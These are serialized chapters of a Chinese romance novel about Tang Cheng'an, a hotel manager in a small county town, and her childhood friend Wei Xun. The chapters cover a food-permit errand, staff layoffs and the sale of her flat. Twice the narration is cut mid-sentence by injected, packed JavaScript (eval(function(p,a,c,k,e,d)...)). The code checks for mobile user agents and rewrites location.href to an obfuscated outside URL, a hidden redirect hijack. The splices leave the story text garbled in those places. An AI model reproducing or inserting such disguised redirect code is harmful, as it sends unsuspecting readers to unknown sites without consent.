前几天刘姐他们去了南州食品监管局问□□时间,大厅的工作人员告诉他们至少要等一个月。 唐成安知道根本不需要这么久,这不过就是那些政务人员无心审理、互相推诿的借口罢了。 南州是个小县城,发展机会实在有限,所以年轻人大部分都选择去外地打工挣钱,留下来的人越来越少。 唐成安又何尝没想过出去外面闯荡一番事业,但唐家就如同藤曼一般,二十年前缠住了唐成国,如今又将触手伸向了唐成安。 人口数减少,政府机关平日里自然没什么事做,这些吃铁饭碗的佛祖便悠哉起来,干起活来不紧不慢,反正大多都不是急事。 可是监管局里没有熟人,或许还真的要等那些无所用心、以逸待劳的“神仙”慢吞吞一个章一个章盖下来。 想到这里唐成安便头疼不止。 忽然,三声敲门声响起,唐成安连忙喊门外的人进来,打开门的是前段时间演了周年庆话剧女主角的前台小林。 她今天也不知怎的,竟然满脸娇羞通红,扭扭捏捏地进来。 “有什么事吗?”唐成安见她不对劲,开口先问。 小姑娘眼神飘忽,捂着嘴羞羞答答坐下,忸怩不安小声说话:“唐,唐经理,刚刚送你来的是谁呀?” 这个小林是最近新聘的,虽然唐成泰也没少来酒店蹭吃蹭喝,但她就职不久,见面的机会并不多。 “哦,那是我哥。”唐成安本以为出了什么大事,听她这么一说,反而放下心来。 “是您哥哥呀!”小林却一脸激动,差点扑到唐成安面前,“那……可以把他介绍给我吗?” 唐成安听了当场愣住,相比小林一脸期待的表情,她却只有不明所以的茫然。 喜欢唐成泰?那还不如喜欢臭水沟里的老鼠呢,起码人家还是毛茸茸小巧可爱的。 反观唐成泰,整天精心打理自己那一头齐肩像流浪汉一样的长发,家里的护发素品牌用得比唐成安一个女生还要讲究,正经工作却没干过一次,只知道去游戏厅和赛车,简直是要颜值没颜值,要实力没实力。 “不,不是,你看上他什么了?” 唐成安用手把刚刚凑近的小林隔开,试图缓解这一下直冲天灵盖的冲击。 小姑娘倒是看着像得了宝贝一样,美滋滋回味:“他那一头艺术家般的长发,多英俊啊。” 少女怀春总是正常的,但也不能看见一个谁就喜欢吧?尤其还是唐成泰那种极品。 “等等,他比我都大五岁,更别说和你的年龄差距了。”唐成安只当小姑娘太年轻,好心规劝道,“再说,他游手好闲又没有工作,你图他什么呀?” 哪知这个小林也不知道中了什么邪,什么都听不进去,宁肯为唐成安当牛做马,也要从她手里要来她“风流倜傥”的唐哥哥的联系方式。 为了表现自己的忠诚,她还特地拿出一张照片自证用处。 “好姐姐,我刚刚听到你在说食品安全证的事,正巧我表哥在食品监管局做科员,说不定他可以帮帮你呀!” 唐成安扶了扶额,有些汗颜。 小姑娘果然还是年轻不懂事,一个普通科员哪有什么说话的份? 但她也不想打击小姑娘的热情,还是礼貌地接过手机瞧了瞧。 照片拍的是南州食品监管局全体工作人员公示墙,除了小林口中的表哥,她无意中还发现了一个熟悉的身影。 唐成安原本皱起的眉头放松下来,看着手机淡然一笑: “这确实可以帮到我。” - 魏寻实在没办法,无论他怎么劝也劝不动唐成安要跟去一起□□的决心。 他并不知道唐成安为什么如此执着,但无奈于她的坚持,只能牢牢盯着她的动作,担心这一趟出差给她受伤的脚“锦上添花”,一路上眼神没有片刻稍离。 然而唐成安刚在车上安分没多久,下了车就又火急火燎拄着拐杖冲进大厅,其他人都险些跟不上。 她一个人二话不说直奔主办办公室,毫不客气打开门: “老孙!” 办公室内是一位年轻小伙子,穿戴整齐,一身标准的公务员着装。 小伙似乎没被唐成安突然的一下开门冒犯到,反而颇为惊喜,即便喝茶时被她这一声呛到,也依旧笑脸盈盈放下水杯走上前去招待。 “呀!师父!”他对着唐成安兴奋喊道,一边又张开双臂和她深深拥抱。 “给你们介绍一下,这是我老同学孙乐福。”唐成安老友相聚有些激动过头,这才想起给刘姐他们介绍,刚说完又话头一转,“你小子事情都办好了吧?” “那当然,保证一个星期就给你们办下来。”孙乐福信誓旦旦地保证,说着便招来了一个工作人员,“大姐,你们就跟着小刘去办理啊,有什么事都可以问他。” “士别三日当刮目相看啊!”唐成安冲孙乐福挑了个眉,说出的话带有一种调侃的腔调。 孙乐福也嘿嘿嘿傻呵呵地笑着,一只手自然地勾上了唐成安的肩膀:“再怎么呼风唤雨,做起事来你还不是照样不放心?” 唐成安瘪了个嘴对他轻哼一声,不客气地把他放在肩膀上的手臂推下去,一蹦一跳拄着拐杖跟上刘姐。 应了孙乐福的话,她果然不放心,还是想要亲自盯着流程。 魏寻本来也打算跟上,却被孙乐福按下了。 他并不认识孙乐福,所以不知道他特地把自己留下是有何用意,只能静静等他开口。 孙乐福一开始也沉默了许久,只是端了杯茶水递给魏寻。 “你就是魏寻吧。”他抿了一口茶终于开口。 魏寻虽然不知道他为什么会认识自己,却也默默点了头。 “其实见到你的第一眼我就认出来了,” 孙乐福此时没了刚才和气的样子,全身散发一种压迫的气势,说话不徐不缓的,语气有些发冲, “浪费了成安十几年的人,好像也不过如此。” 魏寻其实刚进门就已经感到了他的敌意,如今他却是不遮不掩,明晃晃摆在自己面前。 “你知道我为什么要不顾一切帮成安吗?” 孙乐福拿起水杯又准备低头咽一口茶水,但是他的眼睛却没有低下,反而抬起来死死盯着魏寻, “因为我喜欢她。” - 果然有了领导的压力,手底下办事也快了不少,没多少功夫就把该走的程序走完了。 接下来不出一个星期,刘姐的金桔薄荷酥糕就能在南州范围内正式批量生产。 事情顺利解决,一行人便乘上出租车准备离开,唐成安和魏寻同路,返程的时候也坐在同一辆车上。 但唐成安还没上车就感觉到魏寻沉闷得有点不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779987|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对劲,正准备找个好时机开口问他,不料魏寻反倒出乎意料先开了口: “今天孙主办找我聊了会儿,和我说了很多你们之间的事。” 唐成安见魏寻主动开口说话,以为他没什么事,瞬间放松下来笑呵呵回答:“嗨,又是高中那些糗事吧?” 魏寻点点头:“嗯,他说你们是同桌,关系特别好。” “那可不,南州唐三藏和南州孙悟空可不是白叫的。”唐成安一回忆到这就笑得灿烂。 唐成安和孙乐福是初三那年才聚在一起的,两人刚做同桌没到一天,就觉得彼此相见恨晚。 性格都属于外向活泼类型的两人这么一合体,可没少给老师添麻烦,但偏偏他俩成绩都不错,老师们也没多为难,索性就把两人当活宝看待。 再加上同班还有两位分别姓朱和沙的同学,这四人的小团体自然而然就被其他人对号入座,称为大名鼎鼎的“南州西游记”。 “他还说……”魏寻眼眸低垂,停顿了一会儿,有些欲言又止, “他喜欢你。” 唐成安听了目光顿顿地瞥过来,神情茫然了片刻,却又突然大笑起来,捂着肚子不停地拍打大腿。 “哈哈哈哈哈,他都要结婚的人了,哪里还喜欢我啊,”她好不容易憋住笑,深吸了口气才有说话的力气,“应该是喜欢过我才对。” 魏寻坐在旁边怔怔地僵住了几秒,稍微晃了神,缓了缓后又结结巴巴地开口问:“那,那你为什么要拒绝他?” 唐成安只觉得面前的这个人简直是个木头脑袋,这打破砂锅问到底的性格真是不怕得罪人。 “还能为什么?不喜欢呗。”她往后一靠,转头看向窗外,语气淡淡的,“有些人还是更适合做朋友吧……” 魏寻看着她映在阳光下的侧面,思绪万千,闷着头一言不发。 唐成安明媚开朗,身边的孙乐福很难不动心。 可孙乐福是初三才从别的城市转学来到的南州,因此事先并不知道魏寻这号人物。 他好不容易鼓起勇气把唐成安约出来,还特地挑了个少见的大雪天,以为缤纷的飘雪能够为他的表白增添几分浪漫气息,却不料满眼期待的告白只换来了唐成安轻飘飘的回应。 「“老孙,谢谢你,可我只喜欢魏寻。”」 唐成安向来对自己的喜欢坦坦荡荡,她只喜欢魏寻,足以是一切拒绝别人的理由。 从此以后,南州又多了个等待魏寻的人,虽然目的并不是那么纯粹。 唐成安察觉到魏寻沉默了许久,感觉气氛不自在,又扭过头来补充了几句:“你别理老孙,他就是喜欢说些没头没脑的话。” 唐成安此刻已经被老友重逢的喜悦冲昏了头脑,不论说什么都笑得轻松,丝毫没察觉到魏寻脸上的苦笑。 可越是看到唐成安笑得明媚肆意,他心里便越是沉重。 心情就像一片落叶,漫无目的地飘荡在空中,和他孑然一身回到南州一样,心底里每一寸都塞满了如履薄冰的不安。 没头没脑的话吗? 至少他说唐成安是个瞎操心的老好人是真的; 他喜欢唐成安是真的; 魏寻耽误了唐成安十几年, 也是真的。 魏寻脑海里还在不断回放之前被孙乐福留下后的谈话。 原来把他和唐成安隔开的从来都不是那摸不到的十几年, 而是自己自始至终都没给过她的承诺。 对女孩告白不明确的回应掺杂了太多的犹豫,最终成为自己退却一辈子的理由。 他心底暗藏的汹涌对比女孩的云淡风轻,显得是那样微不足道又可笑至极。 有些人只适合做朋友——他也是。 南州人都觉得,这场感情里唐成安是痴痴坚持的那个人, 只有魏寻才知道, 放不下的其实一直都是他自己。 21. 炒米粉 自从小林看上了唐成泰,她便每日喋喋不休地缠着唐成安要联系方式。 唐成安却像个铜墙铁壁,每一次都拒绝得十分坚决。 小姑娘一时鬼迷心窍误入歧途就算了,她还是要拎得清的。 也许是因为食物中毒事件突发,再加上小天他们家农场观光设备还没处理完成,乐兴近期客流量实在欠佳。 因此,这位前台小姐就有了大把的时间跑去唐成安办公室死皮赖脸地求她。 “你为什么不直接去找他要呢?”唐成安被逼得不耐烦了,说出的话都带有些怒气,“主动出击不是更好吗?” “主动出击哪里好啊?当初你就是主动出击去追人家魏寻,最后不也没追到么?”小林倒是有理有据。 唐成安被她这一说噎住了,竟也无力反驳。 “所以说嘛唐姐姐,现在都流行欲擒故纵、矜持腼腆啦!” 唐成安没法理解现在小年轻们的暧昧把戏,但她也不愿意眼睁睁看着小林掉入唐成泰这个深渊巨坑里,只得装模作样出去接电话从而打断她的花痴。 刚出门喘气没多久,她就收到了赵老板那边发来的短信—— 赵老板提前预估了一下农场观光建设需要的费用,装修齐全至少要两百万。 这个数目远远超出了唐成安的预料。 装修费用已经要两百万,接下来还有后期维护以及提供短期内的免费参观,花费只多不少。 当初她有多么豪爽地夸下海口,现在便有多么难堪。 如今她一个人已经做不了主,只能上报给余老板召开经理会讨论相关事宜。 会议上“喷水龙王”率先带头痛批唐成安一顿,接着又与其他部门经理沆瀣一气,暗地里串通好不留痕迹地提出裁员一事。 按照目前的财政情况和花销预算,加上魏寻为酒店做出的程序更是使人工需求大大减少。 前前后后估算下来,这次裁员几乎要去掉百分之四十的人员。 唐成安本就理亏,根本吵不过那些老谋深算的老狐狸,再加上余老板事到如今也对此无能为力的默许态度,人事部一散会便急忙起草通知文件。 乐兴这些天注定不太平。 唐成安对如今事态的发展耿耿于怀,一直在办公室发呆待到了晚上八点。 直到因为没吃晚饭导致胃饿得有些绞痛,她才肯离开座位去街上填填肚子。 南州年轻人少,所以并没有什么夜生活。 一到晚上,就只剩下那些刚下晚自习的学生,放下一天的疲惫,嘻嘻哈哈在校门口的路边摊吃夜宵。 比起唐成安上初中那会儿,现在的摊子多了不少,小吃种类也更加丰富多样。 不过她还是最喜欢靠近校门的那个炒粉摊。 “老板,老样子!” 也许是学生还没下课,目前粉摊并没有多少人。 于是唐成安找了个亮堂的位置坐下,熟练地掰开筷笼里的竹筷,刮了几下表面的毛刺。 “好咧!”老板应了一声又确认道,“一碗放葱,一碗不放对吧?” 这个摊子从唐成安读初中的时候就已经开了几年了,之前她经常和魏寻一起来吃。 不过魏寻因为曾经被同学拉着吃过一次路边摊,却正巧碰上食物不干净导致了肠胃炎,所以他其实并不敢多吃,喜欢上这个摊子也是个巧合。 那次魏寻班主任发大火,把全班强留到晚上七点才放人出去吃饭,可是当时食堂的饭菜早就被抢光了,全班都以为这晚只能饿肚子。 好在唐成安之前就认识摊子老板,她得知全班被留后,便特地跑到大老远的公共电话亭,用好不容易从唐玉山指甲缝里抠出的零钱投币通话,请老板再来一趟,这下全班的晚饭才有了着落。 这天晚上小摊的生意可谓是有史以来最火热的一晚。 唐成安知道这是魏寻难得的一次出来吃路边摊的机会,想要好好招待他,所以给他点餐的时候特地嘱咐老板多加些葱增香。 哪知魏寻没吃几口,脸上就泛起一大片一大片的红斑,最后去医院才知道他原来对葱过敏。 于是之后点餐都是一碗加葱一碗不加。 不过这样的点餐习惯是因为之前都是两个人来,唐成安心想这老板是多没眼力见儿,如今她一个人来吃还习惯地上两碗。 她刚想纠正,就听到背后响起熟悉的声音: “对的,麻烦您了。” 她转过身子一看,发现魏寻居然也大晚上跑这来了。 魏寻挨着唐成安坐下,和初中一样,他总是喜欢先抽几张纸擦干净台面。 唐成安趁他擦桌子的间隙,把自己刚刚处理好的竹筷递给他,自己又重新拿了一双。 “你怎么这么晚还出门?”唐成安撑着脑袋歪头问他。 魏寻又多抽了几张纸,把唐成安那边的桌面也擦拭了几遍:“出来散散心,闻到炒粉的香味,又想念这个味道了。” 出来散心?魏寻是有什么心事吗? 唐成安刚想问出口,老板就把两盘热腾腾的炒粉端到面前。 金黄的米粉和特制酱料搅拌在一起,搭配上鲜红的辣椒段和翠绿的葱花,远远闻着还有花生酱的甜香。 俗话说得好,唯有美食不可辜负。 唐成安这下哪里还有别的心思,立马把刚才的疑问抛之脑后,闷头嗦起粉来。 鲜香的酱汁和爽滑的米粉一口下肚,唐成安的吃相可谓惨不忍睹。 “老板,你的手艺还是没变。”唐成安嚼了半天才把嘴里包着的一大口炒粉咽下,对着竖起老板大拇指口齿含含糊糊地夸奖。 “你们也没变啊,还是原来的两个人一起来吃。”老板手上工作没停,低头轻笑,“不过魏寻倒是好长时间没见,这是为什么又回来了?” 如今不比从前,进入新世纪后,城市发展越来越快,是南州这个小县城跟不上的节奏。 年轻人不愿待在一眼就能望到头的小地方,纷纷选择定居大城市,南州便成了老年人的居住地。 唐成安因为家庭的缘故,即使是当时难得的一本大学生,却也不得不留在这里。 而像魏寻这种无牵无挂,本来拥有大好前程却依然返回故乡的年轻人,反倒变成了大家眼里的愣头青。 “老板你可别小瞧他,”唐成安激动得拍桌子站起来,“他是回南州创业的哟!” “来南州创业?”老板停下手里的活,听得一头雾水。 唐成安:“是啊,只有南州发展起来了,才会有更多的人回来吃您做的炒粉呀。” 老板听后笑开了花,唐成安也跟着没心没肺笑起来。 魏寻见面前的少女笑意宴宴的样子,双眼定定地看着她。 其实当初他决定要从北京回来,身边的很多人都不同意,包括向才申和周胜天。 当他依旧不顾一切回到这里,却发现自己俨然成了一个陌生人。 如今的南州只想成为一个宁静安和的小镇,而魏寻创业改革的心思无疑将会掀起滔天巨浪,因此几乎所有的拜访最后得到的都是拒之门外。 质疑和误解一次次让他自我否定,他的精神也日渐消耗。 他比任何人都清楚,孤注一掷的博弈赌上的是整 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之前在酒店碰面会互相打招呼,相处起来也算和气的人,现在却变得歇斯底里,只要看到唐成安办公室里有什么东西就拿起摔碎用来泄愤。 男男女女围在唐成安身边劈头盖脸、不留一丝情面地责骂,逼得她只能楞楞站在中间不知所措。 也许是受其他人的怒气感染,这些人越吵越凶,其中不知道是谁一时被怒火冲昏了头,直接朝唐成安扔了一个破损的易拉罐。 锋利的裂口直直在她额头上留下了几公分长的伤口,滚涌出的鲜血沿着头骨滴落在眉毛上,把附近的人都吓了一跳。 眼见真惹出了事,他们反而只顾后退,两眼四处张望,极力想要撇清干系。 唐成安只得自己忍着疼痛抽出几张纸压在伤口上止血,不料纸巾太过干燥,一拿起来就撕扯着伤口,让人发涨地疼。 不知道是因为刚才的吵闹声太大,还是额头出血让她有些发晕,唐成安只觉得耳鸣的嗡嗡声越来越响。 穿过她的耳鸣的是魏寻带着怒气的一字一句: “我已经报警了。” 恍惚间,面前已经是把她死死挡住的魏寻,他面对凶恶的人群,背影没有一刻动摇。 小林也不知不觉赶了过来,颤抖着双手用湿纸巾轻轻擦干净了周边的血迹,稳稳扶住唐成安走去医院,三人这才得以逃离那个是非地。 护士很快便处理好了伤口,好在易拉罐没有生锈,所以伤口并不严重。 但是小林却被那血淋淋的场面吓坏了,抱着唐成安痛哭起来,迟迟不肯放手。 结完账的魏寻脸色铁青,皱着眉头闷闷地走到唐成安面前: “要不是小林打电话给我,我都不知道这件事居然闹得这么大,”魏寻直挺挺地站着不肯坐下,手里的账单被攥成紧巴巴的一团,“老板呢?其他经理呢?为什么他们只怪你一个人?” 唐成安知道此刻的魏寻比她还生气,赶紧安抚道: “哎,谁叫我之前员工大会上硬要逞强做担保,这下能力不足害得他们突然没了工作,要找人发泄的时候不就是我来首当其冲呗。” 其实突然被辞退,这事放在谁身上都不好受,家里上上下下一夜之间没了着落,一时间乱作一团,不知道是应该生气还是着急,从而让人干出过激的举动也能理解。 她会生气,但并不责怪。 唐成安只是觉得,原来她想保护所有人的想法是如此幼稚。 在弱小的现实面前,逞强就是一种罪过。 22. 雪花膏 唐成安不愧是流着刺头唐家的血液,前一天员工都闹事到她面前了,挂彩的她丝毫没有避讳的想法,第二天照常准时上班。 只不过还没等她屁股坐热,余老板便毫无征兆地破门而入,这没见过的阵仗着实把唐成安吓了一跳。 虽然经历了一番折腾,但显然余老板不是个敬业的“演技派”。 他闯入唐成安办公室后就一直不自然地东张西望,最后支支吾吾半天才借着她头上顶了个吓人的白色绷带的理由,顺理成章让她强制“放假”。 唐成安当然知道余老板的用意——无非就是想让她这个不撞南墙不回头的愣头青找个合适的理由赶紧避避风头。 她即使依旧无法心安理得地退下,却无奈还是拗不过余老板的决心,只得默默收拾东西,回家接受待命。 然而回了家也不见得能舒心。 每天清晨,按照惯例被唐成泰的摩托发动机声吵醒后,唐成安便要出门为那位熬夜打牌的老爹买好早餐。 这两位祖宗虽然在唐成安面前“敢怒不敢言”,却也没少添麻烦。 一个赛车,一个赌博,一天到头日程排得比唐成安正常上班时还要满当,两个活生生的大男人几乎就是饭点的时候闪现一下。 可怜的唐成安算是回家变相当保姆来了。 独占唐家小院的唐成安看着空荡荡的屋子,有种无事可做的空虚感。 她百无聊赖地晃悠到镜子面前,撩起额前的碎发,迎着明亮的太阳光线认真观察前几天划破的伤口。 伤口有两个指节的长度,好在不深,但也不能确保不会留疤。 女生终究还是爱美的,所以唐成安对这个伤口颇为在意。 “哎,这位置不好,”唐成安对着镜子里的伤口暗自叹气,“要是在眉尾这里就好了,即使留了疤也能当作一种断眉造型。” 可这伤口偏偏没有眼力见儿,愣是偏离了几公分,惹得唐成安发愁。 她反复端详日后可能形成疤痕的位置,嘴里念念有词:“果然不是所有人都能是魏寻。” 魏寻的脸上是出了名的干净,什么疤痕、斑点、瑕疵,甚至是一颗黑痣都没有。 即便是唐成安误伤他的那个黑点,也十分有灵性地长在了鼻梁上,倒有几分“锦上添花”的味道。 “我什么?”魏寻的声音冷不丁从渐开的门缝里冒出来,唐成安刚刚嘟囔的几句恰巧被他听见了几个字。 唐成安完全没有被提前告知魏寻的来访,一瞬间慌了神,手忙脚乱地接过他手中拎着的礼品,稀里糊涂搬了个摇椅让他坐下。 等她反应过来不合适之后,魏寻却还是一样地温柔摆摆手表示没关系。 “你怎么不提前打声招呼就来了?”唐成安和魏寻面对面坐下,愧疚地挠了挠鼻梁,“害得我什么都没准备,没什么东西招待你。” “没事,我本来也应该早点来看你,”魏寻笑着从他带来的礼盒里拿出一罐药膏递给她,“这个是李梦推荐的,她听说你受伤之后就特地托我带给你,据说搽这个不容易留疤。” 唐成安接过魏寻递来的药膏,发现是最近电视上广告播得很火的牌子。 这款药膏效用确实不错,但唯独北京才有供应。 梦梦一个十几岁的孩子,能在八竿子都打不着的北京有渠道,得以顺利买到当今热销的药膏?唐成安恐怕打死都不信。 而且,偏偏是北京——是魏寻离开的北京。 唐成安偷偷向上瞟了一眼魏寻,言语中是暗暗的试探:“可是这个只有北京才卖的啊……” “啊……对!”魏寻轻而易举中招了,慌张的神情难掩心虚,“她不是经常玩电脑吗,这说不定就是她托哪个网友寄来的,小姑娘为此应该是费了不少心思。” 唐成安看着魏寻的样子努力憋笑,不打算继续逗他:“那你替我谢谢她啦!”说完便把药膏放回礼品盒仔细收好。 魏寻紧张到一直不自觉揉搓衣角,心中暗自庆幸总算糊弄过去。 唐成安背过身佯装将药膏收进抽屉,实则时不时用余光想要偷看魏寻的反应。 其实魏寻一直都是个十分不擅长说谎的人,他自以为天衣无缝的伪装实际上在别人眼里破绽百出,于是故意捉弄他反倒成了唐成安从小到大的一件乐事。 可是即便他再怎么不会撒谎,却还是破天荒地能把自己心底的情绪包裹得严严实实。 魏寻也许会很坦率地承认自己的情绪,但对于前因后果,从来不会和任何人解释。 可能十年前的唐成安是这个世界上最接近终点的那一个,可当她停留了自以为人生中再正常不过的一个十年后,回过头才发现魏寻和现实一样,早已瞬息万变。 她曾幻想魏寻这次回来或许是个新的时机,一个可以弥补两人之间无数遗憾的时机。 然而现实却如同阳光下魏寻转身同她交谈的场景一般——他鼻梁上多出的两块镜片常常反射的刺眼光线,让唐成安无法再像十二岁那时一样看清魏寻的眼睛,更难以抵达深藏在眼底的思绪。 唐成安一想到这就不免有些伤感,收拾抽屉以腾出空间放药膏的速度也不禁慢了下来。 抽屉深处是视线盲区,唐成安只能凭感觉摸索,过程中她的手背似乎被什么东西划了一道,抽出来才发现是自己的高中毕业照。 似乎大部分学校的毕业照都喜欢选择热烈的晴天,背景也都无一例外安排在绿茵葱荣的教学楼前。 熟悉的场景令唐成安眼前不禁跳出之前“青蛙”发给她的魏寻在省城一中的毕业照。 即使不在同一个地点,时隔两年停留在毕业照上的阳光,仿佛并没有因为时间而改变。 十八岁即将在高考战场上冲刺的少年,无论何时都是一样的意气蓬勃。 唐成安像是发现了什么宝藏一样,一脸激动地转过身拍拍魏寻,示意他靠近过来。 魏寻虽然不明所以,但也听话地慢慢凑近,乖巧蹲在她脚边。 唐成安把毕业照平放在大腿上,展示给魏寻看:“你看,我高中毕业照,没见过吧?” 魏寻微微侧了点身子,歪着脑袋在塑封后有点反光的照片里张望。 “原来你高中上的是二附中啊,”魏寻看到照片最上方的几个大字发出惊叹,“也是个不错的学校。” “是呀,在市里算是最好的了。”唐成安看着照片,心里不断涌现高考奋战时刻那段充实的时光,嘴角情不自禁漫出笑意,“不过当然还是比不上你在的省城一中啦!” “怎么不来省城一中,我记得你很聪明的。”魏寻反问。 “估计也就只有你觉得我很聪明吧?”唐成安斜了魏寻一眼,话语中带着对魏寻过于“天真”的无奈,“我的分数离省城一中可差得远呢。” 魏寻以为是自己说错话了,连忙找补:“我没有别的意思!其,其实,只要能考上大学,高中读哪所都一样!” 唐成安看见魏寻慌乱的样子有些好笑,不过因滑稽发笑的笑容不久又逐渐温和下来。 她低头看向蹲在身旁的魏寻—— 平日里高高大大的小伙子,此刻蜷缩在她的脚边,倒像只乖巧温驯的小狗。 他脸颊上泛起的薄薄一层红晕不知是因为窗外阳光过于炙热,还是刚刚急于解释情绪太过激动? 或许又是因为别的什么? 总之唐成安并不打算对此刨根究底。 魏寻身上淡淡的洗衣液香气逐渐弥散到空气中,仿佛太阳都在此刻变得柔和。 “嗯,”唐成安轻声回应,“考上了大学就好。” 魏寻的表情反倒莫名其妙变得不自在起来,他摸了摸后脖颈,飘忽的眼神在沉默了好一会儿之后终于抬起,与唐成安对视: “我还不知道……你……上了哪所大学?” 魏寻问出口的话明显是经历了一番挣扎,声线能够轻易听出颤抖。 只不过短短几句交谈,魏寻便恍然发现,原来自己好像根本不了解唐成安。 久别重逢后的几个月,他一直都在围绕着自己的事情忙碌。 唐成安这段时间以来无条件相信他、帮助他,早已不仅仅只是出于过往的好友情分了。 即使魏寻再怎么迟钝,他也能感受到,自从他回到南州,唐成安一直都在不断向自己打探他离开的这十年间的经历。 然而每一次都只是点到为止,小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“每次下了专业课就会和室友结伴去校外的步行街闲逛,头饰、耳环、化妆品,女孩子会喜欢的都买过。” “我还是跟着我室友才第一次学会了烫头呢!” 说着说着唐成安便揪起一缕头发在魏寻面前晃了晃,虽然烫发的弧度并不明显,可唐成安还是分享欲满满。 不过没一会儿她又泄了气:“只不过没钱烫完。” 唐成安每每看到这头不完美的卷发,就有些怏怏不乐。 毕业那会儿是没钱,没想到工作有钱后,却没了时间。 当时从理发店的发型杂志里精挑细选了半天才决定的发型,如今却已经没有继续打理的心情。 魏寻看出了她的失落,柔声安慰:“没事的,这样也很好看。” 魏寻的声音轻柔有力,唐成安瞬间扫落心中的不悦,双眼重新明亮起来。 她视线一沉,垂眸注视一直蹲在面前的魏寻,眉眼缓缓舒展开: “魏寻,谢谢你。” “谢什么?”魏寻似乎没能跟上唐成安的思路。 唐成安没有收回目光,透亮的瞳孔牢牢抓住魏寻试图躲闪的视线: “谢谢你让我能够上大学,能拥有我之前想都不敢想的美好时光。” “这是什么话?”魏寻否定,“你能上大学应该感谢的是你自己,与我无关。” 唐成安却摇摇头,眼神依旧坚定: “如果没有我大哥,我可能还是个小学就挂科的问题生,不知道要给他添多少白头发。” “如果没有你,我就有可能初中辍学,为了攒钱留出我爸和我二哥的生活费到处打零工,最后成为一个见识短浅的服务生吧。” 唐成安设想过无数遍,假如自己没有遇到魏寻,结局会有多么落寞。 同时也很庆幸,现在的她能够有足够的底气,把这些假设当做玩笑话说出口。 她忽然将手肘撑在膝盖上,身体趴下贴近蹲着的魏寻,直勾勾的眼神却没有强势的侵略性。 “魏寻,我说过你是我的贵人……” 唐成安吐字很慢,魏寻也认真听着。 “而我也一定会继续努力……努力成为你的贵人。” 也许是两个人距离太近,唐成安灼热的呼吸吹到了魏寻脖侧,难以招架的某种情愫顺着血液流转全身。 视线相撞的瞬间,无措的他只能轻滚喉结尝试冷静。 窗外的秋风卷裹凉意袭来,吹拂到脸上不再是划伤的疼痛感。 魏寻知道,是唐成安的承诺和坚定,恰好抵挡了所有本应冲他而来的凛冽刺骨。 23. 筒子楼 “唐成安,唐成安!” 唐成泰急哄哄的高喊声伴随十足的怨气逐渐靠近,只见他风风火火踩着门槛转身朝唐成安房间方向走去,语气中尽是不耐烦的责问:“你干什么呢?打你电话都打不通……” “吱呀”的一声合页扭动,紧跟着的是气势骤降的唐成泰,以及面面相觑尴尬的三人。 由于推得太过用力,房门撞到一旁的桌脚后便又弹了回来,狠狠拍了“一掌”毛毛躁躁的唐成泰,这才让他冷静下来。 他僵在原地:“阿寻……你怎么来了?” 魏寻被这么一问反倒不明来由心虚起来:“成泰哥,我,我来看看成安……” 唐成泰左右各瞟了二人一眼,打量起魏寻涨红的脸若有所思。 这俩人不是已经掰了么? 当初老死不相往来的分手誓言,难道是为了这段“地下恋情”作秀? 唐成泰越想越偏,脑海里的奇思妙想早已是控制不住的势头。 “你找我到底要干什么?” 唐成安对他这呆头呆脑的二哥内心的小九九那是心知肚明,及时打断了他的胡思乱想。 唐成泰见唐成安居然反过来责问他,被激得顿时有些上头: “你还问我呢?中介那边打你电话一直打不通,最后打我这边来了。” “完蛋!手机不小心静音了。” 唐成安连忙拿起手机翻看来电记录,屏幕上是扎眼的五个未接来电。 来电铃声由于手机关静音没听见也就算了,她和魏寻两个人竟然都没听到来电震动。 唐成泰疑神疑鬼的性子可没放过蛛丝马迹,即使唐成安再怎么刻意回避,他也能断然肯定这两个人刚才一定发生了什么。 他弓着腰缓缓凑近魏寻,打算从他这里找出突破口。 怎料唐成安一个侧身挡在面前,抢先一步拉开距离:“你有事说事,中介找我干嘛?” 真是防不胜防,唐成泰见八卦没戏,心情有些郁闷:“还能干嘛?不就是你的房子有着落了呗!” 为了收拾唐玉山毁了一温室蜜瓜的烂摊子,唐成安不得不紧急凑钱。 考虑到唐成国正在跑长途,担心把这个消息告诉他会导致他分心,万一出了什么差错,那可是负担不起的。 所以她自作主张瞒着大哥,一个人承担了下来。 然而自己因为这次过失已经遭到老余的减薪处分,唐玉山和唐成泰又没有正经的收入来源,因此最后不得不打起房子的主意。 南州地价便宜,唐成安有时会安慰自己,就算这次卖出去了,大不了再努力几年重新买回来。 两年不行就三年,日子总会有盼头。 “有买家同意报价啦?”唐成安听到这个消息激动无比,“有没有砍价?十二万一分不少吗?” 唐成泰勾起一个坏笑,在她面前打了一个爽亮的响指:“当然!现在通知你去收拾一下东西。” 眼见赔偿终于有了着落,唐成安自然开心,抓起手机一蹦一跳地走出房门。 扎起的马尾辫在暖金色的阳光下摇晃,微卷的发丝仿佛绵软的金线,顺着女孩回眸时盈盈一笑的眼角,缓缓爬上了魏寻的臂膀。 若隐若现的金线从小指逐渐向上环绕,最终停在他左胸的心脏位置,弯弯绕绕缠成一个漂亮的结扣。 “你们两个大男人一起来帮我呀!”唐成安冲他们招招手,笑容肆意,“有劳务费的哦!” 魏寻低头轻笑了几声,大步跟上。 - 千禧年之后,南州便多了许多的电梯房。 与居民楼大不相同,电梯房不光有抓人眼球的载人电梯,房型和周边环境都是开发商精挑细选下了血本的,比常见的居民楼档次高了不知多少倍。 那些在外打工攒了些钱的南州人,几双眼睛盯着楼盘开售的一瞬间便蜂拥而上,上千个房间一扫而空。 往往从远处看仍然是个毛坯房的楼盘,其实早在半年前就已经预约不上号了。 唐成安却是特立独行的那个。 正式工作了一年半的唐成安,把工资和大学四年打工存起来的钱攒在一起,加上酒店给的一些住房补贴,再从唐成国早早为她准备的嫁妆里拿出一部分,七七八八也够付个首付。 唐成泰虽然赛车方面没混出什么名堂,在其他各个方面倒是出人意料地有不少人脉。 